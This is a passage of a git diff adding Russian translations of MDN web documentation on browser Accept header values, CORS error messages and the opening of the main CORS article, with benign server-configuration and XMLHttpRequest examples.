+ <td><em>Не поддерживается для элемента {{HTMLElement("audio")}}.</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 9</td>
+ <td>?</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_скриптов">Значения для скриптов</h2>
+
+<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td><code>*/*</code></td>
+ <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">страницу ошибки 170789</a>.</td>
+ </tr>
+ <tr>
+ <td>Safari, Chrome</td>
+ <td><code>*/*</code></td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer до версии 8 включительно</td>
+ <td><code>*/*</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 9</td>
+ <td><code>application/javascript, */*;q=0.8</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_таблиц_стилей_CSS">Значения для таблиц стилей CSS</h2>
+
+<p>Если запрашивается таблица стилей CSS через HTML-элемент <code>&lt;link rel="stylesheet"&gt;</code>, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox 4</td>
+ <td><code>text/css,*/*;q=0.1</code></td>
+ <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">страницу ошибки 170789</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/layout/style/Loader.cpp#l1548" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer до версии 8 включительно</td>
+ <td><code>*/*</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 9</td>
+ <td><code>text/css</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ <tr>
+ <td>Safari, Chrome</td>
+ <td><code>text/css,*/*;q=0.1</code></td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#98" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Opera 11.10</td>
+ <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 </code></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Konqueror 4.6</td>
+ <td><code>text/css,*/*;q=0.1</code></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
new file mode 100644
index 0000000000..8a59413663
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
@@ -0,0 +1,47 @@
+---
+title: 'Причина: CORS заголовок ''Access-Control-Allow-Origin'' не соответствует ''xyz'''
+slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
+tags:
+ - CORS
+ - CORSAllowOriginNotMatchingOrigin
+ - Cross-Origin
+ - HTTP
+ - HTTPS
+ - Безопасность
+ - Исправление проблем
+ - Ошибка
+ - Сообщения
+ - консоль
+ - причины
+translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Reason">Reason</h2>
+
+<pre class="syntaxbox notranslate">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответсвует 'xyz'</pre>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p>
+
+<p>Эта ошибка также может произойти, если ответ содежит более одного заголовка <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Если сервис, к которому ваш код обращается с помощью CORS запроса находится под вашим контролем, убедитесь что он настроен для включения в себя вашего источника в заголовке <code>Access-Control-Allow-Origin</code> и что в ответах от сервера присутствует только один такой заголовок. Заголовок принимает список источников, поэтому указать новый источник совсем не сложно.</p>
+
+<p>К примеру, в Apache, вы можете добавить следующую строку в конфигурацию веб-сервера (в пределах одной из секций - <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code> или <code>&lt;VirtualHost&gt;</code>). Обычно конфигурация находиться в файле <code>.conf</code> (наиболее частые имена для него - <code>httpd.conf</code> и <code>apache.conf</code>) или в файле <code>.htaccess</code>.</p>
+
+<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>В Nginx, для установки такого заголовка можно воспользоваться следующей командой: </p>
+
+<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..a9a5569ce3
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,28 @@
+---
+title: 'Причина: Не удалось выполнить запрос CORS'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+tags:
+ - CORS
+ - CORSDidNotSucceed
+ - HTTP
+ - HTTPS
+ - консоль
+ - причины
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<h2 id="Причина">Причина</h2>
+
+<pre class="syntaxbox">Причина: Не удалось выполнить запрос CORS
+</pre>
+
+<h2 id="Что_произошло"><strong>Что произошло?</strong></h2>
+
+<p>Запрос {{Glossary("HTTP")}}, использующий {{Glossary("CORS")}} не был выполнен, потому что подключение через HTTP не было выполнено либо на сетевом уровне или на уровне протокола. Ошибка не имеет прямого отношения к CORS, но все равно считается как фундаментальная.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Ошибки CORS</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Введение в CORS</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html
new file mode 100644
index 0000000000..c4f75914b1
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsdisabled/index.html
@@ -0,0 +1,24 @@
+---
+title: 'Ошибка: CORS disabled'
+slug: Web/HTTP/CORS/Errors/CORSDisabled
+translation_of: Web/HTTP/CORS/Errors/CORSDisabled
+---
+<div> </div>
+
+<h2 id="Ошибка">Ошибка</h2>
+
+<pre class="syntaxbox">Ошибка: CORS disabled</pre>
+
+<h2 id="Что_случилось">Что случилось?</h2>
+
+<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p>
+
+<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..56875e1603
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,58 @@
+---
+title: 'Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<h2 id="Причина"><a href="/ru-Ru/docs/">Причина</a></h2>
+
+<pre class="syntaxbox">Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»</pre>
+
+<h2 id="Почему_это_произошло"><a href="/ru-RU/docs/">Почему это произошло?</a></h2>
+
+<p>В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.</p>
+
+<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Внимание:</strong> Использование * для доступа к закрытым API — плохая идея по очевидным причинам.</p>
+</div>
+
+<p>Чтобы разрешить любому сайту делать CORS-запросы <em>без</em> использования подстановки <code>*</code> (например, для включения авторизационных данных), ваш сервер должен считывать значение заголовка <code>Origin</code> из запроса и использовать это значение, чтобы задать <code>Access-Control-Allow-Origin</code>, а также выставить заголовок <code>Vary: Origin</code>, чтобы обозначить динамическую установку заголовка в зависимости от источника.</p>
+
+<p>Конкретная директива для установки заголовков зависит от вашего сервера. Так в Apache нужно добавить следующую строку в конфигурацию сервера (в соответствующих разделах <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code> или <code>&lt;VirtualHost&gt;</code>). Конфигурация обычно находится в файле с расширением <code>.conf</code> (стандартные названия: <code>httpd.conf</code>, <code>apache.conf</code>), либо в файле <code>.htaccess</code>.</p>
+
+<pre>Header set Access-Control-Allow-Origin 'origin-list'</pre>
+
+<p>В Nginx для установки этого заголовка используется команда:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' 'origin-list'</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Ошибки CORS</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Введение в CORS</a></li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button " style="height: 22px; width: 22px; top: 10px; left: 10px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/http/cors/errors/index.html b/files/ru/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/ru/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+ - CORS
+ - Errors
+ - HTTP
+ - HTTPS
+ - Messages
+ - NeedsTranslation
+ - Same-origin
+ - Security
+ - TopicStub
+ - console
+ - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html
new file mode 100644
index 0000000000..ee6cfda506
--- /dev/null
+++ b/files/ru/web/http/cors/index.html
@@ -0,0 +1,542 @@
+---
+title: Cross-Origin Resource Sharing (CORS)
+slug: Web/HTTP/CORS
+translation_of: Web/HTTP/CORS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">Cross-Origin Resource Sharing ({{Glossary("CORS")}}) — механизм, использующий дополнительные {{Glossary("HTTP")}}-заголовки, чтобы дать возможность {{Glossary("user agent","агенту пользователя")}} получать разрешения на доступ к выбранным ресурсам с сервера на источнике (домене), отличном от того, что сайт использует в данный момент.</span> Говорят, что агент пользователя делает запрос с другого источника <strong>(cross-origin HTTP request),</strong> если источник текущего документа отличается от запрашиваемого ресурса доменом, протоколом или портом.</p>
+
+<p>Пример cross-origin запроса: HTML страница, обслуживаемая сервером с <code>http://domain-a.com</code>, запрашивает <code><a href="/en-US/docs/Web/HTML/Element/Img#Attributes">&lt;img&gt; src</a></code> по адресу <code>http://domain-b.com/image.jpg</code>. Сегодня многие страницы загружают ресурсы вроде CSS-стилей, изображений и скриптов с разных доменов, соответствующих разным сетям доставки контента (Content delivery networks, CDNs).</p>
+
+<p>В целях безопасности браузеры ограничивают cross-origin запросы, инициируемые скриптами. Например, {{domxref("XMLHttpRequest")}} и <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> следуют <em>политике одного источника</em> (<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>). Это значит, что web-приложения, использующие такие API, могут запрашивать HTTP-ресурсы только с того домена, с которого были загружены, пока не будут использованы CORS-заголовки.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
+
+<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p>
+
+<h2 id="Кто_должен_читать_данную_статью">Кто должен читать данную статью?</h2>
+
+<p>На самом деле, все.</p>
+
+<p>Конкретнее, эта статья для web-администраторов, разработчиков серверной стороны и front-end разработчиков. Современные браузеры поддерживают клиентские компоненты cross-origin обмена, включая заголовки и соблюдение правил политики. Но этот новый стандарт означает, что сервера также должны поддерживать новые заголовки запросов и ответов. Другая статья для разработчиков серверной части, описывающая <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">перспективы сross-origin обмена на стороне сервера (с примерами кода на PHP)</a>, к дополнительному прочтению.</p>
+
+<h2 id="Какие_запросы_используют_CORS">Какие запросы используют CORS?</h2>
+
+<p>Этот <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">cтандарт сross-origin обмена</a> используется для разрешения кросс-сайтовых HTTP запросов для:</p>
+
+<ul>
+ <li>Вызова {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> APIs в кросс-сайт манере, как описано выше.</li>
+ <li>Web Fonts (для кросс-доменного использования шрифтов в <code>@font-face</code> в рамках CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">чтобы серверы могли разворачивать TrueType шрифты, которые могут быть загружены только кросс-сайт и использованы web-сайтами, которым это разрешено.</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL текстуры</a>.</li>
+ <li>Фреймы с изображениями/видео, добавленными в канвас с помощью <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li>
+ <li>Стили (для <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a> доступа).</li>
+ <li>Скрипты (для  отключенных исключений).</li>
+</ul>
+
+<p>Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.</p>
+
+<h2 id="Обзор_функциональности">Обзор функциональности</h2>
+
+<p>Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определнные <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p>
+
+<p>Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. </p>
+
+<h2 id="Примеры_сценариев_управления_доступом">Примеры сценариев управления доступом</h2>
+
+<p>Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.</p>
+
+<p>Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p>
+
+<p>Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p>
+
+<h3 id="Простые_запросы">Простые запросы</h3>
+
+<p>Некоторые запросы не заставляют срабатывать <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS preflight</a>. Они называются “простыми запросами” в данной статье, хотя {{SpecName('Fetch')}} спецификация, определяющая CORS, не использует этот термин. Запрос, для которого не срабатывает <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS preflight</a>— так называемый “простой запросы”—это запрос, удовлетворяющий следующим условиям:</p>
+
+<ul>
+ <li>Допустимые методы для запроса:
+ <ul>
+ <li>{{HTTPMethod("GET")}}</li>
+ <li>{{HTTPMethod("HEAD")}}</li>
+ <li>{{HTTPMethod("POST")}}</li>
+ </ul>
+ </li>
+ <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как:
+ <ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>{{HTTPHeader("Content-Language")}}</li>
+ <li>{{HTTPHeader("Content-Type")}} (но учитывайте примечание ниже)</li>
+ <li>{{HTTPHeader("Last-Event-ID")}}</li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+ </ul>
+ </li>
+ <li>Допустимыми значениями заголовка {{HTTPHeader("Content-Type")}} являются:
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code></li>
+ <li><code>multipart/form-data</code></li>
+ <li><code>text/plain</code></li>
+ </ul>
+ </li>
+ <li>Не должны быть зарегистрированы обработчики событий на любой объект {{domxref("XMLHttpRequestUpload")}} используемый в запросе; это достигается использованием свойства {{domxref("XMLHttpRequest.upload")}}.</li>
+ <li>В запросе не должен использоваться объект типа {{domxref("ReadableStream")}}.</li>
+</ul>
+
+<div class="note"><strong>Замечание:</strong> These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.</div>
+
+<div class="note"><strong>Замечание:</strong> WebKit Nightly и Safari Technology Preview устанавливают дополнительные ограничения на значения, допустимые в заголовках {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, и {{HTTPHeader("Content-Language")}}. Если любой из этих заголовков имеет "нестандартное" значение, WebKit/Safari используют предварительный запрос. Значения, которые WebKit/Safari считают "нестандартными" для этих заголовков, перечислены только в следующих проблемах WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, и <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Во всех других браузерах подобных дополнительных ограничений нет, потому что они не являются частью спецификации.</div>
+
+<p>Например, представьте, что содержимое домена <code class="plain">http://foo.example</code> хочет обратиться к содержимому <code class="plain">http://bar.other</code>. На домене foo.example может использоваться следующий Javascript код:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+ if(invocation) {
+ invocation.open('GET', url, true);
+ invocation.onreadystatechange = handler;
+ invocation.send();
+ }
+}
+</pre>
+
+<p>Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
+
+<p>Посмотрим, что браузер отправит в таком случае на сервер, а также проверим ответ сервера:</p>
+
+<pre class="brush: shell;highlight:[10,16] notranslate">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
